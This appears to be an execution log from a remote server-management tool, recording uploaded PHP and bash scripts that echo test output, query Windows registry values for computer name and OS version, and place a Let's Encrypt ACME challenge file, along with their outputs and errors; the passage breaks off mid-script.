PUT: C:\Users\video\AppData\Local\Temp\pkp307524
#!/usr/bin/php
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
echo $BOUNDARY
echo PATH
set
echo
2026-01-02 14:02:59:
C:\Users\video\AppData\Local\Temp\pkp307524
2026-01-02 14:15:29: Establishing a remote connection
2026-01-02 14:15:29:
PUT: C:\Users\video\AppData\Local\Temp\pkp171648
#!/usr/bin/php
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
echo $BOUNDARY
echo PATH
set
echo
2026-01-02 14:15:29:
C:\Users\video\AppData\Local\Temp\pkp171648
STDERR:
The system cannot find the path specified.
2026-01-02 14:16:51: Establishing a remote connection
2026-01-02 14:16:52:
PUT: C:\Users\video\AppData\Local\Temp\pkp779770
#!/usr/bin/php
<?php
echo "Hello people";
2026-01-02 14:16:52:
C:\Users\video\AppData\Local\Temp\pkp779770
STDERR:
The system cannot find the path specified.
2026-01-02 14:30:20: Establishing a remote connection
2026-01-02 14:30:20:
PUT: C:\Users\video\AppData\Local\Temp\pkp518536
#!/usr/bin/php
<?php
echo "Hello people";
2026-01-02 14:30:20:
C:\Users\video\AppData\Local\Temp\pkp518536
STDERR:
The system cannot find the path specified.
2026-01-02 14:41:10: Establishing a remote connection
2026-01-02 14:41:10:
PUT: C:\Users\video\AppData\Local\Temp\pkp655151
#!/usr/bin/php
<?php
echo "Hello people";
2026-01-02 14:41:10:
C:\Users\video\AppData\Local\Temp\pkp655151
STDERR:
The system cannot find the path specified.
2026-01-02 14:47:27: Establishing a remote connection
2026-01-02 14:47:28:
PUT: C:\Users\video\AppData\Local\Temp\pkp621131
#!/usr/bin/php
<?php
echo "Hello people";
2026-01-02 14:47:28:
C:\Users\video\AppData\Local\Temp\pkp621131
STDERR:
The system cannot find the path specified.
2026-01-02 14:50:22: Establishing a remote connection
2026-01-02 14:50:22:
PUT: C:\Users\video\AppData\Local\Temp\pkp938822
#!/usr/bin/php
<?php
echo "Hello people";
2026-01-02 14:50:22:
C:\Users\video\AppData\Local\Temp\pkp938822
2026-01-02 14:55:27: Establishing a remote connection
2026-01-02 14:55:28:
PUT: C:\Users\video\AppData\Local\Temp\pkp984345
#!/usr/bin/php
<?php
echo "Hello people";
2026-01-02 14:55:28:
C:\Users\video\AppData\Local\Temp\pkp984345
Hello people
2026-01-02 15:20:07: Establishing a remote connection
2026-01-02 15:20:08:
PUT: C:\Users\video\AppData\Local\Temp\pkp487062
#!/usr/bin/php
<?php
echo "Hello people";
2026-01-02 15:20:08:
C:\Users\video\AppData\Local\Temp\pkp487062
Hello people
2026-01-02 15:29:37: Establishing a remote connection
2026-01-02 15:29:38:
PUT: C:\Users\video\AppData\Local\Temp\pkp817043
#!/usr/bin/php
<?php
echo "Hello people";
2026-01-02 15:29:38:
C:\Users\video\AppData\Local\Temp\pkp817043
Hello people
2026-01-02 15:33:08: Establishing a remote connection
2026-01-02 15:33:08:
PUT: C:\Users\video\AppData\Local\Temp\pkp705026
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
echo "/etc/info
";
echo "Hello people";
2026-01-02 15:33:08:
C:\Users\video\AppData\Local\Temp\pkp705026
/etc/info
Hello people
2026-01-02 17:20:29: Establishing a remote connection
2026-01-02 17:20:29:
PUT: C:\Users\video\AppData\Local\Temp\pkp570399
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "/etc/info\\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
2026-01-02 17:20:29:
C:\Users\video\AppData\Local\Temp\pkp570399
/etc/info\nComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-02 17:20:42: Establishing a remote connection
2026-01-02 17:20:42:
PUT: C:\Users\video\AppData\Local\Temp\pkp134154
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "/etc/info\\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
2026-01-02 17:20:42:
C:\Users\video\AppData\Local\Temp\pkp134154
/etc/info\nComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-02 17:22:02: Establishing a remote connection
2026-01-02 17:22:02:
PUT: C:\Users\video\AppData\Local\Temp\pkp450633
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\\n";
echo "/etc/info\\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
2026-01-02 17:22:02:
C:\Users\video\AppData\Local\Temp\pkp450633
----boundary-6506b6c63ab0478b95fb419cca0e56fb----\n/etc/info\nComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-02 17:22:39: Establishing a remote connection
2026-01-02 17:22:40:
PUT: C:\Users\video\AppData\Local\Temp\pkp343763
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
2026-01-02 17:22:40:
C:\Users\video\AppData\Local\Temp\pkp343763
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-02 17:27:51: Establishing a remote connection
2026-01-02 17:27:52:
PUT: C:\Users\video\AppData\Local\Temp\pkp475394
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";
2026-01-02 17:27:52:
C:\Users\video\AppData\Local\Temp\pkp475394
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-02 17:34:25: Establishing a remote connection
2026-01-02 17:34:26:
PUT: C:\Users\video\AppData\Local\Temp\pkp380328
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";
2026-01-02 17:34:26:
C:\Users\video\AppData\Local\Temp\pkp380328
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-02 17:47:02: Establishing a remote connection
2026-01-02 17:47:02: installid not present
2026-01-02 17:48:52: Establishing a remote connection
2026-01-02 17:48:53: installid not present
2026-01-02 17:55:06: Establishing a remote connection
2026-01-02 17:55:06: installid not present
2026-01-02 17:55:43: Establishing a remote connection
2026-01-02 17:55:43: installid not present
2026-01-02 18:07:03: Establishing a remote connection
2026-01-02 18:07:03:
PUT: C:\Users\video\AppData\Local\Temp\pkp481408
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";
2026-01-02 18:07:03:
C:\Users\video\AppData\Local\Temp\pkp481408
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-02 18:09:19: Establishing a remote connection
2026-01-02 18:09:20:
PUT: C:\Users\video\AppData\Local\Temp\pkp434556
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";
2026-01-02 18:09:20:
C:\Users\video\AppData\Local\Temp\pkp434556
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-02 18:10:35: Establishing a remote connection
2026-01-02 18:10:35:
PUT: C:\Users\video\AppData\Local\Temp\pkp625259
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";
2026-01-02 18:10:35:
C:\Users\video\AppData\Local\Temp\pkp625259
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-02 18:11:41: Establishing a remote connection
2026-01-02 18:11:41:
PUT: C:\Users\video\AppData\Local\Temp\pkp819676
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";
2026-01-02 18:11:41:
C:\Users\video\AppData\Local\Temp\pkp819676
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-02 18:12:21: Establishing a remote connection
2026-01-02 18:12:21:
PUT: C:\Users\video\AppData\Local\Temp\pkp578140
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";
2026-01-02 18:12:21:
C:\Users\video\AppData\Local\Temp\pkp578140
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-02 18:14:10: Establishing a remote connection
2026-01-02 18:14:10:
PUT: C:\Users\video\AppData\Local\Temp\pkp418501
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";
2026-01-02 18:14:10:
C:\Users\video\AppData\Local\Temp\pkp418501
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-02 18:23:26: Establishing a remote connection
2026-01-02 18:23:26:
PUT: C:\Users\video\AppData\Local\Temp\pkp909997
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";
2026-01-02 18:23:26:
C:\Users\video\AppData\Local\Temp\pkp909997
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-02 18:32:32: Establishing a remote connection
2026-01-02 18:32:33:
PUT: C:\Users\video\AppData\Local\Temp\pkp148631
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";
2026-01-02 18:32:33:
C:\Users\video\AppData\Local\Temp\pkp148631
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-02 18:33:11: Establishing a remote connection
2026-01-02 18:33:11:
PUT: C:\Users\video\AppData\Local\Temp\pkp539384
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";
2026-01-02 18:33:11:
C:\Users\video\AppData\Local\Temp\pkp539384
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=TINYTIM
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-02 18:39:50: Establishing a remote connection
2026-01-02 18:39:51:
PUT: C:\WINDOWS\TEMP\pkp264546
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";
2026-01-02 18:39:51:
C:\WINDOWS\TEMP\pkp264546
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=ZOOM-PC
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-02 18:42:13: Establishing a remote connection
2026-01-02 18:42:14:
PUT: C:\WINDOWS\TEMP\pkp601752
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";
2026-01-02 18:42:14:
C:\WINDOWS\TEMP\pkp601752
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=ZOOM-PC
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-03 06:00:03: Establishing a connection
2026-01-03 06:00:03: Establishing a connection
2026-01-03 06:00:04:
PUT: /tmp/pkp708712
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-03 06:00:04:
chmod 755 /tmp/pkp708712; /tmp/pkp708712; rm /tmp/pkp708712
2026-01-03 06:00:04:
1
2026-01-03 06:00:05: Establishing a connection
2026-01-03 06:00:06:
PUT: /tmp/pkp300698
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > wD2QwduzNQPeFqVu0uhcjXOy0SttXSeV-sQ0ejm0CV8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
wD2QwduzNQPeFqVu0uhcjXOy0SttXSeV-sQ0ejm0CV8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 wD2QwduzNQPeFqVu0uhcjXOy0SttXSeV-sQ0ejm0CV8
2026-01-03 06:00:06:
chmod 755 /tmp/pkp300698; /tmp/pkp300698; rm /tmp/pkp300698
2026-01-03 06:00:06:
2026-01-03 12:53:06: Establishing a remote connection
2026-01-03 12:53:12: Establishing a remote connection
2026-01-03 12:53:12:
PUT: C:\WINDOWS\TEMP\pkp375107
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";
2026-01-03 12:53:12:
C:\WINDOWS\TEMP\pkp375107
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=DESKTOP-G30MAQ7
ProductName=Windows 10 Enterprise LTSC 2019
ReleaseId=1809
2026-01-03 13:19:38: Establishing a remote connection
2026-01-03 13:19:44: Establishing a remote connection
2026-01-03 13:19:45:
PUT: C:\Users\VIDEO\AppData\Local\Temp\pkp646113
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";
2026-01-03 13:19:45:
C:\Users\VIDEO\AppData\Local\Temp\pkp646113
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=VIDEO-PC
ProductName=Windows 7 Home Premium
STDERR:
ERROR: The system was unable to find the specified registry key or value.
PHP Fatal error: Uncaught ValueError: explode(): Argument #1 ($separator) cannot be empty in C:\Users\VIDEO\AppData\Local\Temp\pkp646113:11
Stack trace:
#0 C:\Users\VIDEO\AppData\Local\Temp\pkp646113(11): explode()
#1 C:\Users\VIDEO\AppData\Local\Temp\pkp646113(21): getRegistry()
#2 {main}
thrown in C:\Users\VIDEO\AppData\Local\Temp\pkp646113 on line 11
2026-01-03 13:34:33: Establishing a remote connection
2026-01-03 13:34:34: installid not present
2026-01-03 13:47:58: Establishing a remote connection
2026-01-03 13:48:04: Establishing a remote connection
2026-01-03 13:48:04:
PUT: C:\Users\RASPBE~1\AppData\Local\Temp\pkp668826
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
[ $name, $value] = explode($type, $output, 2);
return trim($value);
}
echo "$boundary\n";
echo "/etc/info\n";
$res = getRegistry('HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName', 'ComputerName');
echo "ComputerName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName');
echo "ProductName=$res\n";
$res = getRegistry('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ReleaseId');
echo "ReleaseId=$res\n";
echo "\n";
2026-01-03 13:48:04:
C:\Users\RASPBE~1\AppData\Local\Temp\pkp668826
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/info
ComputerName=RASPI-PC
ProductName=Windows 10 Pro
ReleaseId=2009
2026-01-03 14:16:15: Establishing a remote connection
2026-01-03 14:16:16:
PUT: C:\Windows\TEMP\pkp740579
#!/usr/bin/php
<?php
$boundary='----boundary-6506b6c63ab0478b95fb419cca0e56fb----';
function getRegistry($key, $value) {
$command = 'reg query "' . $key . '" /v ' . $value;
$output = trim(`$command`);
$lines = explode("\n", $output);
$output = array_pop($lines);
$type = preg_match('~REG_(\w+)~', $output, $match) ? $match[0] : '';
